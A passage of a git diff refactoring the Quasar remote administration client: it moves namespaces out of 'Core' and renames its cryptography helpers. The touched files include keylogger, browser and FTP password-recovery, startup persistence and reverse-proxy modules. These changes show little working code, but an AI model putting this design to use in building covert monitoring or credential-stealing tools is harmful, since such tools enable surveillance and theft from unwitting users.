b/Quasar.Client/Data/Host.cs @@ -1,6 +1,6 @@ using System.Net; -namespace Quasar.Client.Core.Data +namespace Quasar.Client.Data { public class Host { diff --git a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Extensions/RegistryKeyExtensions.cs similarity index 99% rename from Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Client/Extensions/RegistryKeyExtensions.cs index dac7075e..762e0e92 100644 --- a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -4,7 +4,7 @@ using Microsoft.Win32; using Quasar.Common.Utilities; -namespace Quasar.Client.Core.Extensions +namespace Quasar.Client.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Client/Core/Extensions/SocketExtensions.cs b/Quasar.Client/Extensions/SocketExtensions.cs similarity index 98% rename from Quasar.Client/Core/Extensions/SocketExtensions.cs rename to Quasar.Client/Extensions/SocketExtensions.cs index 7f5e0e9f..7d06fab3 100644 --- a/Quasar.Client/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Client/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace Quasar.Client.Core.Extensions +namespace Quasar.Client.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/Helper/DevicesHelper.cs similarity index 97% rename from Quasar.Client/Core/Helper/DevicesHelper.cs rename to Quasar.Client/Helper/DevicesHelper.cs index 37240e91..8eaba72c 100644 --- a/Quasar.Client/Core/Helper/DevicesHelper.cs +++ b/Quasar.Client/Helper/DevicesHelper.cs @@ -3,9 +3,9 @@ using System.Management; using System.Net.NetworkInformation; using System.Net.Sockets; -using Quasar.Client.Core.Cryptography; +using Quasar.Common.Cryptography; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class DevicesHelper { @@ -13,7 +13,7 @@ public static class DevicesHelper static DevicesHelper() { - HardwareId = SHA256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier()); + HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier()); } public static string GetBiosIdentifier() diff --git a/Quasar.Client/Core/Helper/FileHelper.cs b/Quasar.Client/Helper/FileHelper.cs similarity index 91% rename from Quasar.Client/Core/Helper/FileHelper.cs rename to Quasar.Client/Helper/FileHelper.cs index 5ebea424..98111fe2 100644 --- a/Quasar.Client/Core/Helper/FileHelper.cs +++ b/Quasar.Client/Helper/FileHelper.cs @@ -1,17 +1,17 @@ using System; using System.IO; using System.Text; -using Quasar.Client.Core.Cryptography; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Data; +using Quasar.Client.Utilities; +using Quasar.Common.Cryptography; using Quasar.Common.Enums; +using Quasar.Common.Helpers; using Quasar.Common.Utilities; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class FileHelper { - private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; private static readonly SafeRandom Random = new SafeRandom(); public static ContentType GetContentType(string fileExtension) @@ -73,11 +73,7 @@ public static ContentType GetContentType(string fileExtension) public static string GetRandomFilename(int length, string extension = "") { - StringBuilder randomName = new StringBuilder(length); - for (int i = 0; i < length; i++) - randomName.Append(CHARS[Random.Next(CHARS.Length)]); - - return string.Concat(randomName.ToString(), extension); + return string.Concat(StringHelper.GetRandomString(length), extension); } /// @@ -190,7 +186,7 @@ public static void WriteLogFile(string filename, string appendText) using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) { - byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); + byte[] data = Aes128.Encrypt(Encoding.UTF8.GetBytes(appendText)); fStream.Seek(0, SeekOrigin.Begin); fStream.Write(data, 0, data.Length); } @@ -202,7 +198,7 @@ public static void WriteLogFile(string filename, string appendText) /// The filename of the log. public static string ReadLogFile(string filename) { - return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + return File.Exists(filename) ? Encoding.UTF8.GetString(Aes128.Decrypt(File.ReadAllBytes(filename))) : string.Empty; } } } diff --git a/Quasar.Client/Core/Helper/FormatHelper.cs b/Quasar.Client/Helper/FormatHelper.cs similarity index 96% rename from Quasar.Client/Core/Helper/FormatHelper.cs rename to Quasar.Client/Helper/FormatHelper.cs index ea8f26ee..47094fb9 100644 --- a/Quasar.Client/Core/Helper/FormatHelper.cs +++ b/Quasar.Client/Helper/FormatHelper.cs @@ -1,7 +1,7 @@ using System.IO; using System.Text.RegularExpressions; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class FormatHelper { diff --git a/Quasar.Client/Core/Helper/GeoLocationHelper.cs b/Quasar.Client/Helper/GeoLocationHelper.cs similarity index 99% rename from Quasar.Client/Core/Helper/GeoLocationHelper.cs rename to Quasar.Client/Helper/GeoLocationHelper.cs index 84623f22..0a6ed1b2 100644 --- a/Quasar.Client/Core/Helper/GeoLocationHelper.cs +++ b/Quasar.Client/Helper/GeoLocationHelper.cs @@ -4,9 +4,9 @@ using System.Runtime.Serialization.Json; using System.Text; using System.Xml; -using Quasar.Client.Core.Data; +using Quasar.Client.Data; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class GeoLocationHelper { diff --git a/Quasar.Client/Core/Helper/HostHelper.cs b/Quasar.Client/Helper/HostHelper.cs similarity index 94% rename from Quasar.Client/Core/Helper/HostHelper.cs rename to Quasar.Client/Helper/HostHelper.cs index 375251bc..d373deda 100644 --- a/Quasar.Client/Core/Helper/HostHelper.cs +++ b/Quasar.Client/Helper/HostHelper.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using Quasar.Client.Core.Data; +using Quasar.Client.Data; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class HostHelper { diff --git a/Quasar.Client/Core/Helper/KeyloggerHelper.cs b/Quasar.Client/Helper/KeyloggerHelper.cs similarity index 99% rename from Quasar.Client/Core/Helper/KeyloggerHelper.cs rename to Quasar.Client/Helper/KeyloggerHelper.cs index 7cd80bfa..93d8fa24 100644 --- a/Quasar.Client/Core/Helper/KeyloggerHelper.cs +++ b/Quasar.Client/Helper/KeyloggerHelper.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Windows.Forms; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class KeyloggerHelper { diff --git a/Quasar.Client/Core/Helper/MutexHelper.cs b/Quasar.Client/Helper/MutexHelper.cs similarity index 93% rename from Quasar.Client/Core/Helper/MutexHelper.cs rename to Quasar.Client/Helper/MutexHelper.cs index e82893e3..2d0fca15 100644 --- a/Quasar.Client/Core/Helper/MutexHelper.cs +++ b/Quasar.Client/Helper/MutexHelper.cs @@ -1,6 +1,6 @@ using System.Threading; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class MutexHelper { diff --git a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs similarity index 98% rename from Quasar.Client/Core/Helper/NativeMethodsHelper.cs rename to Quasar.Client/Helper/NativeMethodsHelper.cs index c1f0287e..0055959f 100644 --- a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Runtime.InteropServices; using System.Text; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Utilities; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Client/Core/Helper/PlatformHelper.cs b/Quasar.Client/Helper/PlatformHelper.cs similarity index 99% rename from Quasar.Client/Core/Helper/PlatformHelper.cs rename to Quasar.Client/Helper/PlatformHelper.cs index d0ed9a85..fc7858f6 100644 --- a/Quasar.Client/Core/Helper/PlatformHelper.cs +++ b/Quasar.Client/Helper/PlatformHelper.cs @@ -2,7 +2,7 @@ using System.Management; using System.Text.RegularExpressions; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class PlatformHelper { diff --git a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs b/Quasar.Client/Helper/RegistryKeyHelper.cs similarity index 98% rename from Quasar.Client/Core/Helper/RegistryKeyHelper.cs rename to Quasar.Client/Helper/RegistryKeyHelper.cs index c70ebc23..2331c6a7 100644 --- a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs +++ b/Quasar.Client/Helper/RegistryKeyHelper.cs @@ -2,11 +2,11 @@ using System.Collections.Generic; using System.Linq; using Microsoft.Win32; -using Quasar.Client.Core.Extensions; +using Quasar.Client.Extensions; using Quasar.Common.Models; using Quasar.Common.Utilities; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class RegistryKeyHelper { diff --git a/Quasar.Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Helper/ScreenHelper.cs similarity index 93% rename from Quasar.Client/Core/Helper/ScreenHelper.cs rename to Quasar.Client/Helper/ScreenHelper.cs index 485e9649..a41730be 100644 --- a/Quasar.Client/Core/Helper/ScreenHelper.cs +++ b/Quasar.Client/Helper/ScreenHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Drawing.Imaging; using System.Windows.Forms; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Utilities; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class ScreenHelper { diff --git a/Quasar.Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Helper/SystemHelper.cs similarity index 98% rename from Quasar.Client/Core/Helper/SystemHelper.cs rename to Quasar.Client/Helper/SystemHelper.cs index 4a4636a6..f2b87e5c 100644 --- a/Quasar.Client/Core/Helper/SystemHelper.cs +++ b/Quasar.Client/Helper/SystemHelper.cs @@ -1,7 +1,7 @@ using System; using System.Management; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class SystemHelper { diff --git a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs b/Quasar.Client/Helper/WindowsAccountHelper.cs similarity index 96% rename from Quasar.Client/Core/Helper/WindowsAccountHelper.cs rename to Quasar.Client/Helper/WindowsAccountHelper.cs index b59579e1..b0f5d625 100644 --- a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs +++ b/Quasar.Client/Helper/WindowsAccountHelper.cs @@ -2,11 +2,11 @@ using System.Diagnostics; using System.Security.Principal; using System.Threading; -using Quasar.Client.Core.Networking; +using Quasar.Client.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Helper +namespace Quasar.Client.Helper { public static class WindowsAccountHelper { diff --git a/Quasar.Client/Core/Installation/ClientInstaller.cs b/Quasar.Client/Installation/ClientInstaller.cs similarity index 96% rename from Quasar.Client/Core/Installation/ClientInstaller.cs rename to Quasar.Client/Installation/ClientInstaller.cs index 7e121aa5..68c904a2 100644 --- a/Quasar.Client/Core/Installation/ClientInstaller.cs +++ b/Quasar.Client/Installation/ClientInstaller.cs @@ -3,10 +3,10 @@ using System.IO; using System.Threading; using Quasar.Client.Config; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Helper; +using Quasar.Client.Data; +using Quasar.Client.Helper; -namespace Quasar.Client.Core.Installation +namespace Quasar.Client.Installation { public static class ClientInstaller { diff --git a/Quasar.Client/Core/Installation/ClientUninstaller.cs b/Quasar.Client/Installation/ClientUninstaller.cs similarity index 93% rename from Quasar.Client/Core/Installation/ClientUninstaller.cs rename to Quasar.Client/Installation/ClientUninstaller.cs index a9c6da39..75a175c7 100644 --- a/Quasar.Client/Core/Installation/ClientUninstaller.cs +++ b/Quasar.Client/Installation/ClientUninstaller.cs @@ -1,10 +1,10 @@ using System; using System.Diagnostics; using Quasar.Client.Config; -using Quasar.Client.Core.Helper; +using Quasar.Client.Helper; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Installation +namespace Quasar.Client.Installation { public static class ClientUninstaller { diff --git a/Quasar.Client/Core/Installation/ClientUpdater.cs b/Quasar.Client/Installation/ClientUpdater.cs similarity index 92% rename from Quasar.Client/Core/Installation/ClientUpdater.cs rename to Quasar.Client/Installation/ClientUpdater.cs index 8c145ba2..2d8772e9 100644 --- a/Quasar.Client/Core/Installation/ClientUpdater.cs +++ b/Quasar.Client/Installation/ClientUpdater.cs @@ -2,11 +2,11 @@ using System.Diagnostics; using System.IO; using Quasar.Client.Config; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Helper; +using Quasar.Client.Utilities; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Installation +namespace Quasar.Client.Installation { public static class ClientUpdater { diff --git a/Quasar.Client/Core/Installation/Startup.cs b/Quasar.Client/Installation/Startup.cs similarity index 96% rename from Quasar.Client/Core/Installation/Startup.cs rename to Quasar.Client/Installation/Startup.cs index b945bdaf..d6522a30 100644 --- a/Quasar.Client/Core/Installation/Startup.cs +++ b/Quasar.Client/Installation/Startup.cs @@ -2,10 +2,10 @@ using System.Diagnostics; using Microsoft.Win32; using Quasar.Client.Config; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Helper; +using Quasar.Client.Data; +using Quasar.Client.Helper; -namespace Quasar.Client.Core.Installation +namespace Quasar.Client.Installation { public static class Startup { diff --git a/Quasar.Client/Core/Networking/Client.cs b/Quasar.Client/Networking/Client.cs similarity index 98% rename from Quasar.Client/Core/Networking/Client.cs rename to Quasar.Client/Networking/Client.cs index bf7dbe75..c054ff57 100644 --- a/Quasar.Client/Core/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -7,14 +7,14 @@ using System.Threading; using ProtoBuf; using ProtoBuf.Meta; -using Quasar.Client.Core.Compression; -using Quasar.Client.Core.Cryptography; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.ReverseProxy; +using Quasar.Client.Extensions; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Cryptography; +using Quasar.Common.IO.Compression; using Quasar.Common.Messages; using Quasar.Common.Networking; -namespace Quasar.Client.Core.Networking +namespace Quasar.Client.Networking { public class Client : ISender { @@ -484,7 +484,7 @@ private void AsyncReceive(object state) if (!isError) { if (encryptionEnabled) - _payloadBuffer = AES.Decrypt(_payloadBuffer); + _payloadBuffer = Aes128.Decrypt(_payloadBuffer); isError = _payloadBuffer.Length == 0; // check if payload decryption failed } @@ -651,7 +651,7 @@ private byte[] BuildMessage(byte[] payload) payload = SafeQuickLZ.Compress(payload); if (encryptionEnabled) - payload = AES.Encrypt(payload); + payload = Aes128.Encrypt(payload); byte[] message = new byte[payload.Length + HEADER_SIZE]; Array.Copy(BitConverter.GetBytes(payload.Length), message, HEADER_SIZE); diff --git a/Quasar.Client/Core/Networking/PacketHandler.cs b/Quasar.Client/Networking/PacketHandler.cs similarity index 98% rename from Quasar.Client/Core/Networking/PacketHandler.cs rename to Quasar.Client/Networking/PacketHandler.cs index 136ee584..fbd76123 100644 --- a/Quasar.Client/Core/Networking/PacketHandler.cs +++ b/Quasar.Client/Networking/PacketHandler.cs @@ -1,8 +1,8 @@ -using Quasar.Client.Core.Commands; -using Quasar.Client.Core.ReverseProxy; +using Quasar.Client.Commands; +using Quasar.Client.ReverseProxy; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Networking +namespace Quasar.Client.Networking { public static class PacketHandler { diff --git a/Quasar.Client/Core/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs similarity index 95% rename from Quasar.Client/Core/Networking/QuasarClient.cs rename to Quasar.Client/Networking/QuasarClient.cs index c4dfe267..0acfb8ed 100644 --- a/Quasar.Client/Core/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -2,15 +2,15 @@ using System.Diagnostics; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Commands; using Quasar.Client.Config; -using Quasar.Client.Core.Commands; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Data; +using Quasar.Client.Helper; +using Quasar.Client.Utilities; using Quasar.Common.Messages; using Quasar.Common.Utilities; -namespace Quasar.Client.Core.Networking +namespace Quasar.Client.Networking { public class QuasarClient : Client { diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 81522c82..2e652c06 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -3,14 +3,14 @@ using System.IO; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Commands; using Quasar.Client.Config; -using Quasar.Client.Core.Commands; -using Quasar.Client.Core.Cryptography; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Installation; -using Quasar.Client.Core.Networking; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Data; +using Quasar.Client.Helper; +using Quasar.Client.Installation; +using Quasar.Client.Networking; +using Quasar.Client.Utilities; +using Quasar.Common.Cryptography; namespace Quasar.Client { @@ -90,7 +90,7 @@ private static bool Initialize() if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect return false; - AES.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); + Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index b9b86ff7..d4e1b8c0 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -61,61 +61,57 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs b/Quasar.Client/Recovery/Browsers/Chrome.cs similarity index 92% rename from Quasar.Client/Core/Recovery/Browsers/Chrome.cs rename to Quasar.Client/Recovery/Browsers/Chrome.cs index c359d6cf..68738cad 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs +++ b/Quasar.Client/Recovery/Browsers/Chrome.cs @@ -1,10 +1,10 @@ using System; using System.Collections.Generic; using System.IO; -using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Client.Recovery.Utilities; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { public class Chrome { diff --git a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs b/Quasar.Client/Recovery/Browsers/Firefox.cs similarity index 98% rename from Quasar.Client/Core/Recovery/Browsers/Firefox.cs rename to Quasar.Client/Recovery/Browsers/Firefox.cs index 7c7fd83c..f50e0c5e 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs +++ b/Quasar.Client/Recovery/Browsers/Firefox.cs @@ -6,13 +6,13 @@ using System.Runtime.InteropServices; using System.Text; using Microsoft.Win32; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Recovery.Utilities; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Recovery.Utilities; +using Quasar.Client.Utilities; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { /// /// A small class to recover Firefox Data diff --git a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Recovery/Browsers/InternetExplorer.cs similarity index 99% rename from Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs rename to Quasar.Client/Recovery/Browsers/InternetExplorer.cs index 216a0cfa..71030f88 100644 --- a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs +++ b/Quasar.Client/Recovery/Browsers/InternetExplorer.cs @@ -8,10 +8,10 @@ using System.Security.Cryptography; using System.Text; using Microsoft.Win32; -using Quasar.Client.Core.Helper; +using Quasar.Client.Helper; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { public static class InternetExplorer { diff --git a/Quasar.Client/Core/Recovery/Browsers/Opera.cs b/Quasar.Client/Recovery/Browsers/Opera.cs similarity index 92% rename from Quasar.Client/Core/Recovery/Browsers/Opera.cs rename to Quasar.Client/Recovery/Browsers/Opera.cs index 8ffa61ec..9f997192 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Opera.cs +++ b/Quasar.Client/Recovery/Browsers/Opera.cs @@ -1,10 +1,10 @@ using System; using System.Collections.Generic; using System.IO; -using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Client.Recovery.Utilities; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { public class Opera { diff --git a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs b/Quasar.Client/Recovery/Browsers/Yandex.cs similarity index 92% rename from Quasar.Client/Core/Recovery/Browsers/Yandex.cs rename to Quasar.Client/Recovery/Browsers/Yandex.cs index 832ae9a2..5fc02916 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs +++ b/Quasar.Client/Recovery/Browsers/Yandex.cs @@ -1,10 +1,10 @@ using System; using System.Collections.Generic; using System.IO; -using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Client.Recovery.Utilities; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Browsers +namespace Quasar.Client.Recovery.Browsers { public class Yandex { diff --git a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Recovery/FtpClients/FileZilla.cs similarity index 98% rename from Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs rename to Quasar.Client/Recovery/FtpClients/FileZilla.cs index 0eb25d1a..b3d5e8a0 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Quasar.Client/Recovery/FtpClients/FileZilla.cs @@ -5,7 +5,7 @@ using System.Xml; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.FtpClients +namespace Quasar.Client.Recovery.FtpClients { public class FileZilla { diff --git a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Recovery/FtpClients/WinSCP.cs similarity index 97% rename from Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs rename to Quasar.Client/Recovery/FtpClients/WinSCP.cs index 7ce03e22..503cac08 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Quasar.Client/Recovery/FtpClients/WinSCP.cs @@ -2,11 +2,11 @@ using System.Collections.Generic; using System.Linq; using Microsoft.Win32; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.FtpClients +namespace Quasar.Client.Recovery.FtpClients { public class WinSCP { diff --git a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs b/Quasar.Client/Recovery/Utilities/Chromium.cs similarity index 99% rename from Quasar.Client/Core/Recovery/Utilities/Chromium.cs rename to Quasar.Client/Recovery/Utilities/Chromium.cs index 09c257af..c8b0b72f 100644 --- a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs +++ b/Quasar.Client/Recovery/Utilities/Chromium.cs @@ -5,7 +5,7 @@ using System.Text; using Quasar.Common.Models; -namespace Quasar.Client.Core.Recovery.Utilities +namespace Quasar.Client.Recovery.Utilities { public class ChromiumBase { diff --git a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Recovery/Utilities/JsonUtil.cs similarity index 95% rename from Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs rename to Quasar.Client/Recovery/Utilities/JsonUtil.cs index d4723fbd..23714144 100644 --- a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs +++ b/Quasar.Client/Recovery/Utilities/JsonUtil.cs @@ -2,7 +2,7 @@ using System.Runtime.Serialization.Json; using System.Text; -namespace Quasar.Client.Core.Recovery.Utilities +namespace Quasar.Client.Recovery.Utilities { public static class JsonUtil { diff --git a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs similarity index 99% rename from Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs rename to Quasar.Client/Recovery/Utilities/SQLiteHandler.cs index 0b6fe591..982e9f93 100644 --- a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs +++ b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs @@ -5,7 +5,7 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; -namespace Quasar.Client.Core.Recovery.Utilities +namespace Quasar.Client.Recovery.Utilities { public class SQLiteHandler { diff --git a/Quasar.Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs similarity index 99% rename from Quasar.Client/Core/Registry/RegistryEditor.cs rename to Quasar.Client/Registry/RegistryEditor.cs index 0b1c253a..8a671170 100644 --- a/Quasar.Client/Core/Registry/RegistryEditor.cs +++ b/Quasar.Client/Registry/RegistryEditor.cs @@ -1,10 +1,10 @@ using System; using Microsoft.Win32; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; using Quasar.Common.Models; -namespace Quasar.Client.Core.Registry +namespace Quasar.Client.Registry { public class RegistryEditor { diff --git a/Quasar.Client/Core/Registry/RegistrySeeker.cs b/Quasar.Client/Registry/RegistrySeeker.cs similarity index 98% rename from Quasar.Client/Core/Registry/RegistrySeeker.cs rename to Quasar.Client/Registry/RegistrySeeker.cs index b6eaee81..a75c82ae 100644 --- a/Quasar.Client/Core/Registry/RegistrySeeker.cs +++ b/Quasar.Client/Registry/RegistrySeeker.cs @@ -1,11 +1,11 @@ using System; using System.Collections.Generic; using Microsoft.Win32; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; using Quasar.Common.Models; -namespace Quasar.Client.Core.Registry +namespace Quasar.Client.Registry { public class RegistrySeeker { diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs similarity index 99% rename from Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Client/ReverseProxy/ReverseProxyClient.cs index f5f0c461..26529850 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs @@ -3,7 +3,7 @@ using System.Net.Sockets; using Quasar.Common.Messages; -namespace Quasar.Client.Core.ReverseProxy +namespace Quasar.Client.ReverseProxy { public class ReverseProxyClient { diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs similarity index 96% rename from Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs rename to Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs index 880691c9..f2c929b0 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ b/Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs @@ -1,6 +1,6 @@ using Quasar.Common.Messages; -namespace Quasar.Client.Core.ReverseProxy +namespace Quasar.Client.ReverseProxy { public class ReverseProxyCommandHandler { diff --git a/Quasar.Client/Core/Utilities/HostsManager.cs b/Quasar.Client/Utilities/HostsManager.cs similarity index 96% rename from Quasar.Client/Core/Utilities/HostsManager.cs rename to Quasar.Client/Utilities/HostsManager.cs index f587b2d1..ada0083c 100644 --- a/Quasar.Client/Core/Utilities/HostsManager.cs +++ b/Quasar.Client/Utilities/HostsManager.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Net; using System.Net.Sockets; -using Quasar.Client.Core.Data; +using Quasar.Client.Data; -namespace Quasar.Client.Core.Utilities +namespace Quasar.Client.Utilities { public class HostsManager { diff --git a/Quasar.Client/Core/Utilities/Keylogger.cs b/Quasar.Client/Utilities/Keylogger.cs similarity index 98% rename from Quasar.Client/Core/Utilities/Keylogger.cs rename to Quasar.Client/Utilities/Keylogger.cs index 20152073..5f2339d6 100644 --- a/Quasar.Client/Core/Utilities/Keylogger.cs +++ b/Quasar.Client/Utilities/Keylogger.cs @@ -6,11 +6,11 @@ using System.Windows.Forms; using Gma.System.MouseKeyHook; using Quasar.Client.Config; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Networking; +using Quasar.Client.Helper; +using Quasar.Client.Networking; using Timer = System.Timers.Timer; -namespace Quasar.Client.Core.Utilities +namespace Quasar.Client.Utilities { /// /// This class provides keylogging functionality and modifies/highlights the output for diff --git a/Quasar.Client/Core/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs similarity index 99% rename from Quasar.Client/Core/Utilities/NativeMethods.cs rename to Quasar.Client/Utilities/NativeMethods.cs index c68a0e14..fad5e1e5 100644 --- a/Quasar.Client/Core/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Text; -namespace Quasar.Client.Core.Utilities +namespace Quasar.Client.Utilities { /// /// Provides access to Win32 API and 